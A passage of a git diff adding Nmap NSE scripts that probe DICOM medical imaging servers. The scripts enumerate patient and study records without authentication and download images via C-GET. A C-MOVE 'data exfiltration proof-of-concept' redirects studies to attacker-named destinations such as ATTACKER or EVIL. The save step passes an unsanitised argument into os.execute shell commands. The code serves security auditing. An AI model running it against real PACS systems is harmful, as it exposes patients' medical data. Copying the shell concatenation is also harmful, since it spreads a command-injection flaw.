results end + return false, "A-ABORT" + end + + if pdu_type ~= dicom.PDU_CODES.DATA then + stdnse.debug1("C-FIND: unexpected PDU type 0x%02X", pdu_type) + break + end + + -- Parse response status + local cfind_status = 0xFFFF + if cmd_elems and cmd_elems["0000,0900"] then + cfind_status = cmd_elems["0000,0900"].value + end + + if cfind_status == dicom.STATUS.PENDING + or cfind_status == dicom.STATUS.PENDING_WARN then + -- Parse dataset with negotiated transfer syntax + if #resp_ds_bytes > 0 then + local ds_elems = dicom.parse_dataset(resp_ds_bytes, ts) + if ds_elems then + results[#results + 1] = ds_elems + count = count + 1 + if count >= max_results then + stdnse.debug1("C-FIND: max_results (%d) reached", max_results) + break + end + end + end + elseif cfind_status == dicom.STATUS.SUCCESS then + stdnse.debug1("C-FIND: SUCCESS — %d results", #results) + break + else + stdnse.debug1("C-FIND: status 0x%04X — stopping", cfind_status) + break + end + end + + dicom.do_release(sock, 3) + return true, results +end + +--- Perform a C-FIND query with automatic fallback to minimal tags. +-- If the full query gets A-ABORT, retries with just QueryRetrieveLevel + +-- PatientName (the same minimal set that DCMTK findscu uses by default). +-- This handles servers that abort on unsupported return-key tags. +-- +-- @param host Nmap host object +-- @param port Nmap port object +-- @param called_ae Called AE Title +-- @param calling_ae Calling AE Title +-- @param find_sop SOP Class UID for the Q/R FIND model +-- @param query_tags List of {group, elem, vr, value} for the query dataset +-- @param level Q/R level string ("STUDY", "SERIES", "IMAGE") +-- @param max_pdu Max PDU length +-- @param timeout_s DIMSE timeout in seconds +-- @param max_results Max results to collect +-- @param minimal_tags Optional fallback tag list (nil = auto-generate from +-- query_tags) +-- @return ok (bool), results_or_err (list of tag tables, or error string), +-- used_fallback (bool) +local function do_cfind(host, port, called_ae, calling_ae, find_sop, + query_tags, level, max_pdu, timeout_s, max_results, + minimal_tags) + local ok, results = do_cfind_once(host, port, called_ae, calling_ae, + find_sop, query_tags, level, max_pdu, timeout_s, max_results) + + if ok then + return true, results, false + end + + -- If we got A-ABORT and have more than 2 tags, retry with minimal set + if results == "A-ABORT" and #query_tags > 2 then + if not minimal_tags then + -- Build minimal: keep only tags that have a non-empty filter value, + -- plus PatientName=* as a universal wildcard match key + minimal_tags = {} + for _, t in ipairs(query_tags) do + if t.value and t.value ~= "" then + minimal_tags[#minimal_tags + 1] = t + end + end + -- Ensure at least PatientName is present + local has_pn = false + for _, t in ipairs(minimal_tags) do + if t.group == 0x0010 and t.elem == 0x0010 then has_pn = true + break end + end + if not has_pn then + minimal_tags[#minimal_tags + 1] = {group=0x0010, elem=0x0010, vr="PN", + value="*"} + end + end + + stdnse.debug1("C-FIND: A-ABORT with %d tags; retrying with %d minimal" .. + " tags", + #query_tags, #minimal_tags) + + ok, results = do_cfind_once(host, port, called_ae, calling_ae, + find_sop, minimal_tags, level, max_pdu, timeout_s, max_results) + if ok then + return true, results, true + end + end + + return false, results, false +end + +----------------------------------------------------------------------- +-- C-GET RETRIEVAL +----------------------------------------------------------------------- + +--- Download DICOM instances via C-GET. +-- Handles incoming C-STORE sub-operations from the SCP and saves files. +local function do_cget(host, port, called_ae, calling_ae, get_sop, + storage_sops, query_tags, level, max_pdu, + timeout_s, save_dir) + local all_sops = {get_sop} + for _, sop in ipairs(storage_sops) do + all_sops[#all_sops + 1] = sop + end + + local ok, sock, pctxs, server_max_pdu, elapsed = + dicom.do_associate(host, port, called_ae, calling_ae, all_sops, max_pdu, + timeout_s) + if not ok then + return 0, 0, sock + end + + local pctx_id = dicom.pick_accepted_pctx(pctxs) + if not pctx_id then + dicom.do_release(sock, 3) + return 0, 0, "No accepted presentation context for C-GET" + end + + local ts = dicom.get_accepted_ts(pctxs, pctx_id) + or dicom.TRANSFER_SYNTAX.EXPLICIT_LE + local eff_max = math.min(server_max_pdu or max_pdu, max_pdu) + + -- Build and send C-GET-RQ + local cmd_bytes = dicom.build_cget_rq(1, get_sop) + local ds_bytes = dicom.build_cfind_dataset(level, query_tags, ts) + + dicom.send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, eff_max) + + local saved, errors = 0, 0 + local carry = "" -- carry buffer for leftover bytes between recv_dimse calls + + while true do + local pdu_type, cmd_elems, resp_ds, raw + pdu_type, cmd_elems, resp_ds, raw, carry = + dicom.recv_dimse(sock, timeout_s, carry) + + if not pdu_type then + stdnse.debug1("C-GET recv error: %s", tostring(raw)) + break + end + if pdu_type == dicom.PDU_CODES.ABORT then + stdnse.debug1("C-GET: received A-ABORT") + break + end + if pdu_type ~= dicom.PDU_CODES.DATA then + stdnse.debug1("C-GET: unexpected PDU 0x%02X", pdu_type) + break + end + + local cmd_field = 0 + if cmd_elems and cmd_elems["0000,0100"] then + cmd_field = cmd_elems["0000,0100"].value + end + + if cmd_field == dicom.COMMAND_FIELD.C_STORE_RQ then + -- Incoming C-STORE sub-operation: save file to disk + local sop_class = "" + if cmd_elems["0000,0002"] then + sop_class = tostring(cmd_elems["0000,0002"].value):gsub("%z", + ""):gsub("%s+$", "") + end + local sop_instance = "" + if cmd_elems["0000,1000"] then + sop_instance = tostring(cmd_elems["0000,1000"].value):gsub("%z", + ""):gsub("%s+$", "") + end + if sop_instance == "" then sop_instance = dicom.generate_fake_uid() end + local msg_id_rsp = 1 + if cmd_elems["0000,0110"] then + msg_id_rsp = cmd_elems["0000,0110"].value + end + + local filename = sop_instance:gsub("[^%w%.]", "_") .. ".dcm" + local filepath = save_dir:gsub("[/\\]+$", "") .. "/" .. filename + local wok, werr = dicom.write_file(filepath, resp_ds) + if wok then + saved = saved + 1 + stdnse.debug1("C-GET: saved %s (%d bytes)", filename, #resp_ds) + else + errors = errors + 1 + stdnse.debug1("C-GET: save failed: %s", tostring(werr)) + end + + -- Send C-STORE-RSP + local rsp_cmd = dicom.build_cstore_rsp(msg_id_rsp, sop_class, + sop_instance) + dicom.send_dimse(sock, pctx_id, rsp_cmd, nil, eff_max) + + elseif cmd_field == dicom.COMMAND_FIELD.C_GET_RSP then + local cget_status = 0xFFFF + if cmd_elems["0000,0900"] then + cget_status = cmd_elems["0000,0900"].value + end + if cget_status ~= dicom.STATUS.PENDING + and cget_status ~= dicom.STATUS.PENDING_WARN then + stdnse.debug1("C-GET: final RSP status 0x%04X", cget_status) + break + end + else + stdnse.debug1("C-GET: unknown command field 0x%04X", cmd_field) + end + end + + dicom.do_release(sock, 3) + return saved, errors +end + +----------------------------------------------------------------------- +-- MAIN ACTION +----------------------------------------------------------------------- +action = function(host, port) + local called_ae = get_arg("called_ae", "ANY-SCP") + local calling_ae = get_arg("calling_ae", "FINDSCU") + local max_level = get_arg("level", "IMAGE"):upper() + local max_results = tonumber(get_arg("max_results", "100")) + local timeout_s = tonumber(get_arg("timeout", "10")) + local max_pdu = tonumber(get_arg("max_pdu", "16384")) + local pat_name = get_arg("patient_name", "*") + local pat_id = get_arg("patient_id", "") + local study_date = get_arg("study_date", "") + local modality = get_arg("modality", "") + local save_dir = get_arg("save", nil) + local info_model = get_arg("info_model", "study"):lower() + + -- Select Q/R SOP Classes based on information model + local find_sop, get_sop + if info_model == "patient" then + find_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_FIND + get_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_GET + else + find_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_FIND + get_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_GET + end + + local out = stdnse.output_table() + + -- ── C-ECHO probe ───────────────────────────────────────────────── + -- Quick DIMSE connectivity check. If C-ECHO fails, C-FIND will too. + -- This distinguishes encoding/framing problems from access-control + -- restrictions (server may accept association but disallow FIND). + do + local echo_ok, echo_sock, echo_pctxs = + dicom.do_associate(host, port, called_ae, calling_ae, + {dicom.SOP_CLASS.VERIFICATION}, max_pdu, timeout_s) + if echo_ok then + local echo_pctx_id = dicom.pick_accepted_pctx(echo_pctxs) + if echo_pctx_id then + local echo_cmd = dicom.build_cecho_rq(1) + dicom.send_dimse(echo_sock, echo_pctx_id, echo_cmd, nil, max_pdu) + local pdu_type, cmd_elems = dicom.recv_dimse(echo_sock, timeout_s) + if pdu_type == dicom.PDU_CODES.DATA then + local echo_status = 0xFFFF + if cmd_elems and cmd_elems["0000,0900"] then + echo_status = cmd_elems["0000,0900"].value + end + if echo_status == dicom.STATUS.SUCCESS then + stdnse.debug1("C-ECHO: SUCCESS — DIMSE connectivity verified") + else + stdnse.debug1("C-ECHO: unexpected status 0x%04X", echo_status) + end + elseif pdu_type == dicom.PDU_CODES.ABORT then + stdnse.debug1("C-ECHO: A-ABORT — server rejects DIMSE from %s", + calling_ae) + out["Error"] = string.format( + "C-ECHO aborted — server rejects DIMSE from calling AE '%s'. " .. + "Check server's modality configuration (AllowEcho, AllowFind).", + calling_ae) + dicom.do_release(echo_sock, 3) + return out + end + end + dicom.do_release(echo_sock, 3) + else + stdnse.debug1("C-ECHO: association failed: %s", tostring(echo_sock)) + end + end + + -- ── STUDY-level C-FIND ─────────────────────────────────────────── + -- Core tags: always sent (match keys + essential return keys). + -- These mirror what DCMTK findscu sends and work universally. + local study_tags = { + {group=0x0010, elem=0x0010, vr="PN", value=pat_name}, + -- PatientName (match) + {group=0x0010, elem=0x0020, vr="LO", value=pat_id}, + -- PatientID (match/return) + {group=0x0020, elem=0x000D, vr="UI", value=""}, + -- StudyInstanceUID (return) + } + + -- Additional return keys: requested when user sets level or uses filters. + -- Some PACS (e.g. certain Orthanc configs) abort on unsupported tags, + -- so these are added only with the "full" flag or specific filter args, + -- and we fall back to core-only if the server aborts. + local want_extra = (get_arg("full", nil) ~= nil) + or study_date ~= "" + or modality ~= "" + + if want_extra then + -- Insert before PatientName to keep ascending (group,elem) order. + -- encode_dataset sorts anyway, but helps readability. + study_tags[#study_tags + 1] = {group=0x0008, elem=0x0020, vr="DA", + value=study_date} -- StudyDate + study_tags[#study_tags + 1] = {group=0x0008, elem=0x0030, vr="TM", + value=""} -- StudyTime + study_tags[#study_tags + 1] = {group=0x0008, elem=0x0050, vr="SH", + value=""} -- AccessionNumber + study_tags[#study_tags + 1] = {group=0x0008, elem=0x0061, vr="CS", + value=modality} -- ModalitiesInStudy (0008,0061 not 0008,0060) + study_tags[#study_tags + 1] = {group=0x0008, elem=0x1030, vr="LO", + value=""} -- StudyDescription + study_tags[#study_tags + 1] = {group=0x0010, elem=0x0030, vr="DA", + value=""} -- PatientBirthDate + study_tags[#study_tags + 1] = {group=0x0010, elem=0x0040, vr="CS", + value=""} -- PatientSex + study_tags[#study_tags + 1] = {group=0x0020, elem=0x0010, vr="SH", + value=""} -- StudyID + end + + local ok, studies, used_fallback = do_cfind(host, port, called_ae, + calling_ae, + find_sop, study_tags, "STUDY", max_pdu, timeout_s, max_results) + if not ok then + if studies == "A-ABORT" then + out["Error"] = string.format( + "C-FIND aborted by server (A-ABORT source=0). " .. + "C-ECHO may succeed while C-FIND is denied. " .. + "If using Orthanc, check that calling AE '%s' has AllowFind=true " .. + "in /etc/orthanc/orthanc.json DicomModalities section. " .. + "Try: calling_ae=ORTHANC or calling_ae=FINDSCU", + calling_ae) + else + out["Error"] = "C-FIND STUDY failed: " .. tostring(studies) + end + return out + end + if used_fallback then + stdnse.verbose1("C-FIND: server aborted with extended tags; used" .. + " minimal query") + end + + if #studies == 0 then + out["Result"] = "No studies found (server may require specific AE title" .. + " or filter)" + return out + end + + -- ── Build patient/study tree ───────────────────────────────────── + local patients = {} + local patient_order = {} + local study_count = 0 + local series_count = 0 + local instance_count = 0 + + for _, s in ipairs(studies) do + local pid = s["0010,0020"] or "UNKNOWN" + local pname = s["0010,0010"] or "UNKNOWN" + local psex = s["0010,0040"] or "" + local pdob = s["0010,0030"] or "" + local suid = s["0020,000D"] or "" + local sdate = s["0008,0020"] or "" + local stime = s["0008,0030"] or "" + local sdesc = s["0008,1030"] or "" + local smod = s["0008,0060"] or "" + local sid = s["0020,0010"] or "" + local accno = s["0008,0050"] or "" + + if not patients[pid] then + patients[pid] = { name=pname, sex=psex, dob=pdob, studies={} } + patient_order[#patient_order + 1] = pid + end + + patients[pid].studies[#patients[pid].studies + 1] = { + uid = suid, + date = sdate, + time = stime, + description = sdesc, + modality = smod, + study_id = sid, + accession = accno, + series = {}, + } + study_count = study_count + 1 + end + + -- ── SERIES-level C-FIND (if requested) ─────────────────────────── + if max_level == "SERIES" or max_level == "IMAGE" then + for _, pid in ipairs(patient_order) do + for _, study in ipairs(patients[pid].studies) do + if study.uid == "" then goto next_study end + + local series_tags = { + {group=0x0008, elem=0x0060, vr="CS", value=""}, -- Modality + {group=0x0008, elem=0x103E, vr="LO", value=""}, -- SeriesDescription + {group=0x0020, elem=0x000D, vr="UI", value=study.uid}, + -- StudyInstanceUID + {group=0x0020, elem=0x000E, vr="UI", value=""}, -- SeriesInstanceUID + {group=0x0020, elem=0x0011, vr="IS", value=""}, -- SeriesNumber + } + + local sok, series_list = do_cfind(host, port, called_ae, calling_ae, + find_sop, series_tags, "SERIES", + max_pdu, timeout_s, max_results) + if sok and series_list then + for _, sr in ipairs(series_list) do + study.series[#study.series + 1] = { + uid = sr["0020,000E"] or "", + modality = sr["0008,0060"] or "", + description = sr["0008,103E"] or "", + number = sr["0020,0011"] or "", + instances = {}, + num_images = 0, + } + series_count = series_count + 1 + end + end + ::next_study:: + end + end + end + + -- ── IMAGE-level C-FIND (if requested) ──────────────────────────── + if max_level == "IMAGE" then + for _, pid in ipairs(patient_order) do + for _, study in ipairs(patients[pid].studies) do + for _, series in ipairs(study.series) do + if series.uid == "" then goto next_series end + + local img_tags = { + {group=0x0008, elem=0x0016, vr="UI", value=""}, -- SOPClassUID + {group=0x0008, elem=0x0018, vr="UI", value=""}, -- SOPInstanceUID + {group=0x0020, elem=0x000D, vr="UI", value=study.uid}, + -- StudyInstanceUID + {group=0x0020, elem=0x000E, vr="UI", value=series.uid}, + -- SeriesInstanceUID + {group=0x0020, elem=0x0013, vr="IS", value=""}, -- InstanceNumber + } + + local iok, imgs = do_cfind(host, port, called_ae, calling_ae, + find_sop, img_tags, "IMAGE", + max_pdu, timeout_s, max_results) + if iok and imgs then + for _, img in ipairs(imgs) do + series.instances[#series.instances + 1] = { + sop_class = img["0008,0016"] or "", + sop_instance = img["0008,0018"] or "", + number = img["0020,0013"] or "", + } + instance_count = instance_count + 1 + end + series.num_images = #series.instances + end + ::next_series:: + end + end + end + end + + -- ── C-GET DOWNLOAD (if --save) ─────────────────────────────────── + local saved_total = 0 + if save_dir and max_level == "IMAGE" and instance_count > 0 then + os.execute("mkdir -p " .. save_dir .. " 2>/dev/null") + os.execute("mkdir " .. save_dir .. " 2>nul") + + -- Collect unique storage SOP classes + local sop_set = {} + local storage_sops = {} + for _, pid in ipairs(patient_order) do + for _, study in ipairs(patients[pid].studies) do + for _, series in ipairs(study.series) do + for _, inst in ipairs(series.instances) do + if inst.sop_class ~= "" and not sop_set[inst.sop_class] then + sop_set[inst.sop_class] = true + storage_sops[#storage_sops + 1] = inst.sop_class + end + end + end + end + end + + -- Retrieve per-study via C-GET + for _, pid in ipairs(patient_order) do + for _, study in ipairs(patients[pid].studies) do + if study.uid == "" then goto next_dl_study end + + local get_tags = { + {group=0x0020, elem=0x000D, vr="UI", value=study.uid}, + } + local nsaved, nerrors = do_cget(host, port, called_ae, calling_ae, + get_sop, storage_sops, get_tags, + "STUDY", max_pdu, timeout_s, save_dir) + saved_total = saved_total + nsaved + if nsaved > 0 then + stdnse.verbose1("C-GET: saved %d instances for study %s", nsaved, + study.uid) + end + ::next_dl_study:: + end + end + end + + -- ── FORMAT OUTPUT ──────────────────────────────────────────────── + local model_name = info_model == "patient" and "Patient Root" or "Study Root" + out["DICOM Q/R Results"] = string.format("(%s, FIND)", model_name) + out["Patients"] = #patient_order + out["Studies"] = study_count + if series_count > 0 then out["Series"] = series_count end + if instance_count > 0 then out["Instances"] = instance_count end + + local lines = {} + for _, pid in ipairs(patient_order) do + local p = patients[pid] + local pline = string.format("[Patient] %s (ID: %s)", p.name, pid) + if p.sex ~= "" then pline = pline .. " " .. p.sex end + if p.dob ~= "" then pline = pline .. " DOB:" .. p.dob end + lines[#lines + 1] = pline + + for _, study in ipairs(p.studies) do + local sline = string.format(" [Study] %s", + study.date ~= "" and study.date or "no-date") + if study.description ~= "" then + sline = sline .. " - " .. study.description + end + if study.modality ~= "" then + sline = sline .. " (" .. study.modality .. ")" + end + if study.uid ~= "" then sline = sline .. " " .. study.uid end + lines[#lines + 1] = sline + + for _, series in ipairs(study.series) do + local srline = string.format(" [Series] #%s %s", + series.number ~= "" and series.number or "?", + series.modality) + if series.description ~= "" then + srline = srline .. " - " .. series.description + end + if series.num_images > 0 then + srline = srline .. string.format(" (%d images)", series.num_images) + end + if series.uid ~= "" then srline = srline .. " " .. series.uid end + lines[#lines + 1] = srline + + for ii, inst in ipairs(series.instances) do + if ii <= 5 then + stdnse.debug1(" [Instance] #%s %s (%s)", + tostring(inst.number), tostring(inst.sop_instance), + tostring(inst.sop_class)) + elseif ii == 6 then + stdnse.debug1(" ... and %d more instances", + #series.instances - 5) + end + end + end + end + end + + out["Listing"] = lines + + if #patient_order > 0 then + out["WARNING"] = "Patient data accessible without authentication" + end + + if saved_total > 0 then + out["Saved"] = string.format("%d instances to %s", saved_total, save_dir) + elseif save_dir and instance_count == 0 then + out["Save"] = "No instances found to download" + elseif save_dir and max_level ~= "IMAGE" then + out["Save"] = "Set level=IMAGE to enable C-GET download" + end + + nmap.set_port_state(host, port, "open") + port.version.name = "dicom" + port.version.product = "DICOM SCP" + nmap.set_port_version(host, port, "hardmatched") + + return out +end diff --git a/scripts/dicom-cmove.nse b/scripts/dicom-cmove.nse new file mode 100644 index 000000000..94e0e50a1 --- /dev/null +++ b/scripts/dicom-cmove.nse @@ -0,0 +1,583 @@ +description = [[ +DICOM C-MOVE redirection probe and data exfiltration proof-of-concept. + +Tests whether a DICOM PACS/server will honour C-MOVE requests that redirect +patient data to an arbitrary destination AE Title. C-MOVE is an SSRF-like +primitive: the attacker tells the SCP to push images to a third-party host +(or back to the attacker) without needing the target to be in the modality +worklist. This is the most dangerous Q/R primitive because: + + 1. The attacker never receives data on the same association (unlike C-GET); + instead, the SCP opens a NEW association to the destination and sends + C-STORE sub-operations. + 2. If the destination AE is configured in the PACS, the move succeeds + silently - the attacker can exfiltrate data to any registered node. + 3. Even if the destination is unknown, the SCP may still attempt a TCP + connection to resolve it (observable as an outbound connection attempt). + +The workflow: + 1. (Optional) C-FIND at STUDY level to discover studies + 2. C-MOVE-RQ with a configurable MoveDestination AE Title + 3. Monitor C-MOVE-RSP status (PENDING progress, SUCCESS, or FAILURE) + 4. Report whether the PACS accepted the move, how many sub-operations + completed/failed/warned, and any error status codes + +This script does NOT set up a listener to receive the redirected images. +Use dicom-get.nse if you want to actually download data. This script's +purpose is to prove that arbitrary-destination C-MOVE is accepted. + +WARNING: This is an intrusive script. A successful C-MOVE causes the target +PACS to attempt to push patient data to the specified destination. Only use +against systems for which you have explicit written authorisation. + +Requires the dicom.lua library (place in nselib/ or same directory). +]] + +--- +-- @usage +-- nmap -p 4242 --script dicom-cmove \ +-- --script-args 'dicom-cmove.called_ae=ORTHANC,dicom-cmove.dest_ae=ATTACKER' +-- +-- @usage +-- # Move a specific study to a destination AE +-- nmap -p 4242 --script dicom-cmove \ +-- --script-args 'dicom-cmove.called_ae=ORTHANC,dicom-cmove.study_uid=1.2.3.4.5,dicom-cmove.dest_ae=EVIL' +-- +-- @usage +-- # Probe with patient root model and custom timeout +-- nmap -p 4242 --script dicom-cmove \ +-- --script-args 'dicom-cmove.called_ae=ORTHANC,dicom-cmove.dest_ae=EXFIL,dicom-cmove.info_model=patient,dicom-cmove.timeout=15' +-- +-- @args dicom-cmove.called_ae Target AE Title (default: "ANY-SCP") +-- @args dicom-cmove.calling_ae Our AE Title (default: "NMAP-MOVE") +-- @args dicom-cmove.dest_ae MoveDestination AE Title - where to redirect +-- data (default: "YOURPACS") +-- @args dicom-cmove.study_uid Specific StudyInstanceUID to move (default: +-- discover via C-FIND) +-- @args dicom-cmove.series_uid Specific SeriesInstanceUID to move (requires +-- study_uid) +-- @args dicom-cmove.patient_name Patient name filter for C-FIND discovery +-- (default: "*") +-- @args dicom-cmove.patient_id Patient ID filter for C-FIND discovery +-- (default: "") +-- @args dicom-cmove.modality Modality filter for C-FIND discovery +-- (default: "") +-- @args dicom-cmove.level Move level: "STUDY", "SERIES", "IMAGE" +-- (default: "STUDY") +-- @args dicom-cmove.max_studies Max studies to attempt C-MOVE on (default: 1) +-- @args dicom-cmove.timeout DIMSE timeout in seconds (default: 15) +-- @args dicom-cmove.max_pdu Max PDU Length (default: 16384) +-- @args dicom-cmove.info_model Q/R information model: "study" or "patient" +-- (default: "study") +-- +-- @output +-- PORT STATE SERVICE +-- 4242/tcp open dicom +-- | dicom-cmove: +-- | Target AE: ORTHANC Calling AE: NMAP-MOVE +-- | MoveDestination: ATTACKER +-- | Studies discovered: 2 (via C-FIND) +-- | C-MOVE Results: +-- | Study 1.2.826...514 - Doe^John (PT_001) +-- | Status: REFUSED (0xA801) - Move destination unknown +-- | Completed: 0 Failed: 0 Warning: 0 +-- | Study 1.2.826...515 - Smith^Jane (PT_002) +-- | Status: SUCCESS (0x0000) +-- | Completed: 45 Failed: 0 Warning: 0 +-- | WARNING: PACS pushed 45 instances to 'ATTACKER' +-- | Summary: 1/2 studies accepted C-MOVE redirection +-- | VULNERABILITY: Server redirects patient data to arbitrary AE titles +-- |_ +--- + +author = "Paulino Calderon " +license = "Same as Nmap -- See https://nmap.org/book/man-legal.html" +categories = {"discovery", "intrusive"} + +local shortport = require "shortport" +local stdnse = require "stdnse" +local nmap = require "nmap" +local string = require "string" +local math = require "math" +local dicom = require "dicom" + +portrule = shortport.port_or_service({104, 2762, 11112, 4242}, "dicom", "tcp", + "open") + +----------------------------------------------------------------------- +-- HELPERS +----------------------------------------------------------------------- + +local function get_arg(key, default) + return stdnse.get_script_args("dicom-cmove." .. key) or default +end + +--- Translate a C-MOVE-RSP status code to a human-readable string. +-- References: PS3.4 Table C.4-2 (Move Service Status Values) +local function move_status_str(code) + if code == 0x0000 then return "SUCCESS" + elseif code == 0xFF00 then return "PENDING" + elseif code == 0xFF01 then return "PENDING (warnings)" + elseif code == 0xFE00 then return "CANCEL" + -- Failure statuses + elseif code == 0xA701 then + return "REFUSED - out of resources, unable to calculate number of matches" + elseif code == 0xA702 then + return "REFUSED - out of resources, unable to perform sub-operations" + elseif code == 0xA801 then return "REFUSED - move destination unknown" + elseif code == 0xA900 then + return "REFUSED - identifier does not match SOP Class" + elseif code == 0xC000 then return "FAILED - unable to process" + -- Warning statuses + elseif code == 0xB000 then + return "WARNING - sub-operations complete with failures" + -- Range-based statuses + elseif code >= 0xC000 and code <= 0xCFFF then + return string.format("FAILED - unable to process (0x%04X)", code) + elseif code >= 0xA000 and code <= 0xAFFF then + return string.format("REFUSED (0x%04X)", code) + else + return string.format("UNKNOWN (0x%04X)", code) + end +end + +--- Classify a final status as accepted, refused, or error. +local function classify_status(code) + if code == 0x0000 then return "accepted" -- SUCCESS + elseif code == 0xB000 then return "accepted" -- WARNING (partial success) + elseif code >= 0xA000 and code <= 0xAFFF then return "refused" + elseif code >= 0xC000 and code <= 0xCFFF then return "failed" + elseif code == 0xFE00 then return "cancelled" + else return "unknown" + end +end + +----------------------------------------------------------------------- +-- C-FIND DISCOVERY (reused from dicom-get pattern) +----------------------------------------------------------------------- + +--- Discover studies via C-FIND. +-- @return list of {study_uid, patient_name, patient_id, modality, description} +local function discover_studies(host, port, called_ae, calling_ae, find_sop, + pat_name, pat_id, modality, max_pdu, + timeout_s, max_studies) + local ok, sock, pctxs, server_max_pdu = dicom.do_associate( + host, port, called_ae, calling_ae, {find_sop}, max_pdu, timeout_s) + if not ok then return nil, sock end + + local pctx_id = dicom.pick_accepted_pctx(pctxs) + if not pctx_id then + dicom.do_release(sock, 3) + return nil, "No accepted presentation context for C-FIND" + end + + local ts = dicom.get_accepted_ts(pctxs, pctx_id) + or dicom.TRANSFER_SYNTAX.EXPLICIT_LE + local eff_max = math.min(server_max_pdu or max_pdu, max_pdu) + + -- Build query + local query_tags = { + {group=0x0010, elem=0x0010, vr="PN", value=pat_name}, -- PatientName + {group=0x0010, elem=0x0020, vr="LO", value=pat_id}, -- PatientID + {group=0x0020, elem=0x000D, vr="UI", value=""}, + -- StudyInstanceUID (return key) + {group=0x0008, elem=0x0061, vr="CS", value=modality}, -- ModalitiesInStudy + {group=0x0008, elem=0x1030, vr="LO", value=""}, -- StudyDescription + } + + local cmd = dicom.build_cfind_rq(1, find_sop) + local ds = dicom.build_cfind_dataset("STUDY", query_tags, ts) + dicom.send_dimse(sock, pctx_id, cmd, ds, eff_max) + + -- Collect responses + local studies = {} + local carry = "" + + while true do + local pdu_type, cmd_elems, resp_ds, raw + pdu_type, cmd_elems, resp_ds, raw, carry = dicom.recv_dimse(sock, + timeout_s, carry) + + if not pdu_type then break end + if pdu_type == dicom.PDU_CODES.ABORT then break end + if pdu_type ~= dicom.PDU_CODES.DATA then break end + + local status = 0xFFFF + if cmd_elems and cmd_elems["0000,0900"] then + status = cmd_elems["0000,0900"].value + end + + if status == dicom.STATUS.PENDING + or status == dicom.STATUS.PENDING_WARN then + if #resp_ds > 0 then + local elems = dicom.parse_dataset(resp_ds, ts) + if elems then + studies[#studies + 1] = { + study_uid = elems["0020,000D"] or "", + patient_name = elems["0010,0010"] or "", + patient_id = elems["0010,0020"] or "", + modality = elems["0008,0061"] or "", + description = elems["0008,1030"] or "", + } + if #studies >= max_studies then + stdnse.debug1("C-FIND: max_studies (%d) reached", max_studies) + break + end + end + end + elseif status == dicom.STATUS.SUCCESS then + break + else + break + end + end + + dicom.do_release(sock, 3) + return studies +end + +----------------------------------------------------------------------- +-- C-MOVE PROBE +----------------------------------------------------------------------- + +--- Send C-MOVE-RQ for a study/series and monitor the response. +-- +-- C-MOVE flow (PS3.4 C.4.2): +-- SCU sends C-MOVE-RQ with MoveDestination + identifier dataset +-- SCP opens NEW association to MoveDestination and sends C-STORE ops +-- SCP sends C-MOVE-RSP (PENDING) with progress counters +-- SCP sends C-MOVE-RSP (final) with SUCCESS/FAILURE/WARNING +-- +-- We only monitor the C-MOVE-RSP messages on our association. +-- We do NOT receive the C-STORE sub-operations (those go to dest_ae). +-- +-- @return result table with status info +local function do_cmove(host, port, called_ae, calling_ae, move_sop, + query_tags, level, dest_ae, max_pdu, timeout_s) + local result = { + status_code = nil, + status_str = "", + classification = "", + completed = 0, + failed = 0, + warning = 0, + remaining = 0, + error_msg = nil, + } + + -- Only propose the C-MOVE SOP class (no storage classes needed -- + -- the SCP opens a separate association to the destination for C-STORE) + local ok, sock, pctxs, server_max_pdu = dicom.do_associate( + host, port, called_ae, calling_ae, {move_sop}, max_pdu, timeout_s) + if not ok then + result.error_msg = tostring(sock) + return result + end + + local pctx_id = dicom.pick_accepted_pctx(pctxs) + if not pctx_id then + dicom.do_release(sock, 3) + result.error_msg = "No accepted presentation context for C-MOVE" + return result + end + + local ts = dicom.get_accepted_ts(pctxs, pctx_id) + or dicom.TRANSFER_SYNTAX.EXPLICIT_LE + local eff_max = math.min(server_max_pdu or max_pdu, max_pdu) + + -- Build C-MOVE-RQ command + identifier dataset + local cmd_bytes = dicom.build_cmove_rq(1, move_sop, dest_ae) + -- The identifier dataset is the same format as C-FIND/C-GET + local ds_bytes = dicom.build_cget_dataset(level, query_tags, ts) + + stdnse.debug1("C-MOVE: sending RQ to move to '%s' via %s level=%s", + dest_ae, move_sop, level) + dicom.send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, eff_max) + + -- Monitor C-MOVE-RSP messages + local carry = "" + local got_final = false + + while true do + local pdu_type, cmd_elems, resp_ds, raw + pdu_type, cmd_elems, resp_ds, raw, carry = + dicom.recv_dimse(sock, timeout_s, carry) + + if not pdu_type then + if not got_final then + result.error_msg = "Connection lost or timeout waiting for" .. + " C-MOVE-RSP: " .. + tostring(raw) + end + break + end + + if pdu_type == dicom.PDU_CODES.ABORT then + result.error_msg = "Received A-ABORT during C-MOVE" + result.status_str = "ABORTED" + result.classification = "refused" + break + end + + if pdu_type ~= dicom.PDU_CODES.DATA then + stdnse.debug1("C-MOVE: unexpected PDU 0x%02X", pdu_type) + break + end + + local cmd_field = 0 + if cmd_elems and cmd_elems["0000,0100"] then + cmd_field = cmd_elems["0000,0100"].value + end + + if cmd_field == dicom.COMMAND_FIELD.C_MOVE_RSP then + local move_status = 0xFFFF + if cmd_elems["0000,0900"] then + move_status = cmd_elems["0000,0900"].value + end + + -- Extract sub-operation counters (PS3.7 Table 9.1-5) + if cmd_elems["0000,1020"] then + result.remaining = cmd_elems["0000,1020"].value + end + if cmd_elems["0000,1021"] then + result.completed = cmd_elems["0000,1021"].value + end + if cmd_elems["0000,1022"] then + result.failed = cmd_elems["0000,1022"].value + end + if cmd_elems["0000,1023"] then + result.warning = cmd_elems["0000,1023"].value + end + + if move_status == dicom.STATUS.PENDING + or move_status == dicom.STATUS.PENDING_WARN then + stdnse.debug2("C-MOVE: progress - %d completed, %d remaining, %d" .. + " failed", + result.completed, result.remaining, result.failed) + else + -- Final response + result.status_code = move_status + result.status_str = move_status_str(move_status) + result.classification = classify_status(move_status) + got_final = true + + -- Check for error comment + if cmd_elems["0000,0902"] then + result.error_msg = tostring(cmd_elems["0000,0902"].value):gsub("%z", + ""):gsub("%s+$", "") + end + + stdnse.debug1("C-MOVE: final status 0x%04X (%s) - %d completed, %d" .. + " failed, %d warning", + move_status, result.status_str, result.completed, result.failed, + result.warning) + break + end + else + stdnse.debug1("C-MOVE: unexpected command field 0x%04X", cmd_field) + end + end + + dicom.do_release(sock, 3) + return result +end + +----------------------------------------------------------------------- 